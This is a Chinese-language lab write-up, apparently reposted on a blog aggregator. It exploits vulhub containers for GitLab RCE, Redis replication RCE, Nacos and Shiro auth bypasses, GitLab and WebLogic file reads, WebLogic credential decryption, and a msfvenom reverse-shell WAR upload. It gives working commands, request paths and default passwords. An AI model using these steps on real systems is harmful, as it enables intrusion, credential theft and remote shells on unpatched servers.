Gitlab、Redis、Nacos、Apache Shiro、Gitlab、weblogic相關漏洞

文章目錄

  • 一、Gitlab遠程代碼執行(CVE-2021-22205)
  • 二、Redis主從復制遠程命令執行
  • 三、Nacos認證繞過漏洞(CVE-2021-29441)
  • 四、Apache Shiro認證繞過漏洞(CVE-2020-1957)
  • 五、Gitlab任意文件讀取漏洞(CVE-2016-9086)
  • 六、weblogic文件讀取漏洞
    • 1、弱口令
    • 2、任意文件讀取漏洞
    • 3、讀取后臺用戶密文與密鑰文件
    • 4、后臺上傳webshell

一、Gitlab遠程代碼執行(CVE-2021-22205)

docker-compose up -d # 開啟容器

直接使用該腳本poc.py,命令如下:

python poc.py http://192.168.92.6:8080 "touch /tmp/success"

在這里插入圖片描述

在這里插入圖片描述

二、Redis主從復制遠程命令執行

docker-compose up -d # 開啟容器
redis-cli -h 127.0.0.1 # 連接redis數據庫,會發現未授權

在這里插入圖片描述
redis-rogue-getshel

python redis-master.py -r 192.168.92.6 -p 6379 -L 192.168.92.6 -P 8888 -f RedisModulesSDK/exp.so -c "id"

在這里插入圖片描述

三、Nacos認證繞過漏洞(CVE-2021-29441)

如果nacos服務沒有啟動,可以使用docker-compose restart nacos

  1. 訪問http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=10可以查看用戶名和密碼,注意:User-Agent: Nacos-Server
    在這里插入圖片描述
  2. 添加新用戶http://127.0.0.1:8848/nacos/v1/auth/users?username=vulhub&password=vulhub,注意:POST數據包。
    在這里插入圖片描述
  3. 登錄Nacoshttp://127.0.0.1:8848/nacos#login
    在這里插入圖片描述
    在這里插入圖片描述

四、Apache Shiro認證繞過漏洞(CVE-2020-1957)

Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。
訪問192.168.92.16:8080/admin/,顯示302跳轉
在這里插入圖片描述
構造惡意路徑,訪問192.168.92.16:8080/xxx/..;/admin/,可繞過權限校驗,訪問到管理頁面:
在這里插入圖片描述

五、Gitlab任意文件讀取漏洞(CVE-2016-9086)

訪問192.168.92.16:8080,用戶名為root,密碼為vulhub123456。
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在導入頁面,將test.tar.gz上傳,將會讀取到/etc/passwd文件內容:
在這里插入圖片描述

六、weblogic文件讀取漏洞

1、弱口令

訪問192.168.92.6:7001/console,用戶名為weblogic,密碼為Oracle@123。
在這里插入圖片描述
常見弱口令

2、任意文件讀取漏洞

訪問192.168.92.6:7001/hello/file.jsp?path=/etc/passwd,實現任意文件下載。
在這里插入圖片描述

3、讀取后臺用戶密文與密鑰文件

weblogic密碼使用AES(老版本3DES)加密,對稱加密可解密,只需要找到用戶的密文與加密時的密鑰即可。這兩個文件均位于base_domain下,名為SerializedSystemIni.datconfig.xml,在本環境中為./security/SerializedSystemIni.dat./config/config.xml

`SerializedSystemIni.dat`是一個二進制文件,所以一定要用burpsuite來讀取,用瀏覽器直接下載可能引入一些干擾字符。在burp里選中讀取到的那一串亂碼,右鍵`copy to file`就可以保存成一個文件:

在這里插入圖片描述
config.xml是base_domain的全局配置文件,所以亂七八糟的內容比較多,找到其中的<node-manager-password-encrypted>的值,即為加密后的管理員密碼:
在這里插入圖片描述
在這里插入圖片描述

注意:

  1. 在保存這個test.dat時,最好在HEX模式下進行復制。不然可能回報這個錯:Null input buffer
    在這里插入圖片描述
  2. 如果報錯:PBEWITHSHAAND128BITRC2-CBC SecretKeyFactory not available,需要手動下載bcprov-jdk15on-1.56.jar,并放在<java目錄>/jre/lib/ext/目錄下。

4、后臺上傳webshell

在這里插入圖片描述
在這里插入圖片描述
使用msfvenom生成war包的反彈shell

msfvenom -p java/shell_reverse_tcp LHOST=192.168.92.6 LPORT=4444 -f war -o shell.war

在這里插入圖片描述

在這里插入圖片描述
然后瘋狂下一步,直到完成。點擊我們剛剛部署的war包,然后啟動即可獲取反彈shell。
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/12481.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/12481.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/12481.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

3.TCP的三次握手和四次揮手

一、前置知識 TCP是一種面向連接的、可靠的、基于字節流的傳輸層通信協議。在傳輸數據前通信雙方必須建立連接&#xff08;所謂連接&#xff0c;是指客戶端和服務端各自保存一份關于對方的信息&#xff0c;比如ip地址&#xff0c;端口號等&#xff09;。TCP通過三次握手建立一個…

從零開始:C++ String類的模擬實現

文章目錄 引言1.類的基本結構2.構造函數和析構函數3.基本成員函數總結 引言 在C編程中&#xff0c;字符串操作是非常常見且重要的任務。標準庫中的std::string類提供了豐富且強大的功能&#xff0c;使得字符串處理變得相對簡單。然而&#xff0c;對于學習C的開發者來說&#x…

C語言----斐波那契數列(附源代碼)

各位看官們好&#xff0c;當我寫了上一篇博客楊輝三角后&#xff0c;有一些看官叫我講一下斐波那契數列。對于這個大家應該是有了解的。最簡單的規律就是f(n)f(n-2)f(n-1)。就是當前是前兩項之和&#xff0c;然后下標1和0都是1.從第三項開始計算的。那么我們知道規律&#xff0…

位圖(c++)

文章目錄 1.位圖概念2.位圖的實現3.應用&#xff08;解決整形存在或次數問題&#xff09;3.1存在問題3.2次數問題 5.搜索的方法對比&#xff1a; 1.位圖概念 和哈希一樣&#xff0c;都是一個表來記錄某個元素的個數或者存在與否&#xff1b;不同的是哈希使用的計算機定義的完整…

旅游卡創業的機會在哪里?

在當今社會&#xff0c;旅游已經成為了人們休閑娛樂的重要方式之一。 隨著經濟的發展和人們生活水平的提高&#xff0c;越來越多的人開始追求更高品質的旅游體驗。因此&#xff0c;旅游卡創業應運而生&#xff0c;為游客提供了更加便捷、實惠的旅游服務。那么&#xff0c;旅游…

群輝部署小雅alist實現視聽盛會

最近群輝搭建起來了&#xff0c;開始整蠱影視庫&#xff0c;之前搞過nastool。這次折騰下小雅alist。 1.下載并安裝 直接在群輝的docker里面下載映像 主要映射下端口和文件夾 #token mytoken.txt 獲取地址&#xff1a;https://alist.nn.ci/zh/guide/drivers/aliyundriv…

Git使用(2):遠程倉庫

一、創建遠程倉庫 登錄碼云Gitee - 基于 Git 的代碼托管和研發協作平臺。 點擊右上角&#xff0c;新建倉庫。 創建完成&#xff0c;復制倉庫地址接下來要使用。 二、將idea項目推送到碼云 首先創建本地倉庫VCS -> Create Git Repository。然后選擇Manage Remotes&#xff0…

服務器是網絡中的重要設備

眾所周知&#xff0c;服務器是網絡中的重要設備&#xff0c;要接受少至幾十人、多至成千上萬人的訪問&#xff0c;因此對服務器具有大數據量的快速吞吐、超強的穩定性、長時間運行等嚴格要求。但是&#xff0c;今天我們了解的是GPU服務器&#xff0c;很明顯&#xff0c;從字面上…

機器學習的目的

機器學習的目的是讓計算機能夠從數據中學習并改善性能&#xff0c;以執行特定的任務而無需明確的編程指令。具體來說&#xff0c;機器學習旨在實現以下幾個主要目標&#xff1a; 1. 預測與泛化&#xff1a; 機器學習的一個主要目標是通過學習數據的模式和特征&#xff0c;從而對…

舊衣回收,整個項目環節詳細拆解

日常舊衣服很多人果斷丟垃圾箱&#xff0c;殊不知這背后隱藏著商機。大把人都在掘金的項目。 舊衣回收&#xff0c;眼下市場覆蓋率才占10%。絕對的藍海&#xff0c;干這種項目成本很低。小到自家的舊衣回收能換小錢&#xff0c;大到開公司做分揀撈利潤。 說到這里&#xff0c…

用友hr軟件統一認證與致遠OA單點登錄身份周期管理怎么做

一、引言 隨著企業信息化建設的深入&#xff0c;各類管理軟件如用友HR、致遠OA等已經成為事業單位日常運營不可或缺的工具。用友HR軟件以其強大的人力資源管理功能&#xff0c;幫助企事業單位實現員工信息的集中管理&#xff1b;而致遠OA則以其便捷的辦公流程管理&#xff0c;…

機器學習概念:一些基本概念

目錄 數據集 (Dataset)&#xff1a;用于訓練和評估模型的數據集合。 特征 (Feature)&#xff1a;描述數據的屬性或變量&#xff0c;用于訓練模型。 標簽 (Label)&#xff1a;在監督學習中&#xff0c;與輸入數據相關聯的輸出結果。 模型 (Model)&#xff1a;對數據的某種假…

springcloud簡單了解及上手

springcloud微服務框架簡單上手 文章目錄 springcloud微服務框架簡單上手一、SpringCloud簡單介紹1.1 單體架構1.2 分布式架構1.3 微服務 二、SpringCloud與SpringBoot的版本對應關系2022.x 分支2021.x 分支2.2.x 分支 三、Nacos注冊中心3.1 認識和安裝Nacos3.2 配置Nacos3.3 n…

C++ 并發編程指南(11)原子操作 | 11.6、計算機內存結構

文章目錄 一、計算機內存結構1、內存的基本組成2、內存的類型3、內存的結構層次4、CPU架構5、局部性原理6、總結 前言 在探討計算機的運行效率和數據處理能力時&#xff0c;內存結構無疑是一個至關重要的部分。內存&#xff0c;作為計算機系統中的關鍵組件&#xff0c;承擔著存…

vue從入門到精通(一):Vue模板語法

一&#xff0c;模板語法 Vue 使用一種基于 HTML 的模板語法&#xff0c;使我們能夠聲明式地將其組件實例的數據綁定到呈現的 DOM 上。所有的Vue模板都是語法層面合法的 HTML&#xff0c;可以被符合規范的瀏覽器和 HTML 解析器解析。 Vue模板語法有2大類: 插值語法: 功能:用于解…

請介紹下H264的多參考幀技術及其應用場景,并請說明下為什么要有多參考幀?

H.264&#xff08;也稱為H.264/AVC&#xff09;的多參考幀機制是其編碼效率和質量提升的關鍵部分。這個機制允許編碼器在編碼當前幀時&#xff0c;參考多個之前已編碼的幀。這種多參考幀的方法為編碼器提供了更多的選擇&#xff0c;使其能夠更準確地預測當前幀的內容&#xff0…

【保姆級介紹自動化的講解】

&#x1f308;個人主頁: 程序員不想敲代碼啊 &#x1f3c6;CSDN優質創作者&#xff0c;CSDN實力新星&#xff0c;CSDN博客專家 &#x1f44d;點贊?評論?收藏 &#x1f91d;希望本文對您有所裨益&#xff0c;如有不足之處&#xff0c;歡迎在評論區提出指正&#xff0c;讓我們共…

SCP‘s Story

越過“第二夜”的星星&#xff0c;越過“邁克爾連續線”和“禁運線”&#xff0c;在“煤炭之路”最遠的一站&#xff0c;有一顆眼淚。這不是織物或紙上的撕裂&#xff0c;而是現實中的撕裂&#xff0c;是物理定律和常識失效的地方。 有些人稱之為黑洞&#xff0c;銀河系中最大…

【C語言】4.C語言數組(2)

文章目錄 6. 二維數組的創建6.1 ?維數組的概念6.2 ?維數組的創建 7. 二維數組的初始化7.1 不完全初始化7.2 完全初始化7.3 按照?初始化7.4 初始化時省略?&#xff0c;但是不能省略列 8. 二維數組的使用8.1 ?維數組的下標8.2 ?維數組的輸?和輸出 9. 二維數組在內存中的存…

利用一段代碼輕松繞過PHP授權系統

利用一段代碼輕松繞過PHP授權系統 第一步&#xff1a;首先你需要改名全局文件 比如說全局文件 common.php&#xff0c;那么 你將他改為core.php 第二步&#xff1a;創建文件 創建一個文件&#xff0c;和改名前的全局文件名稱一樣&#xff0c;然后把以下代碼復制進去就OK了 …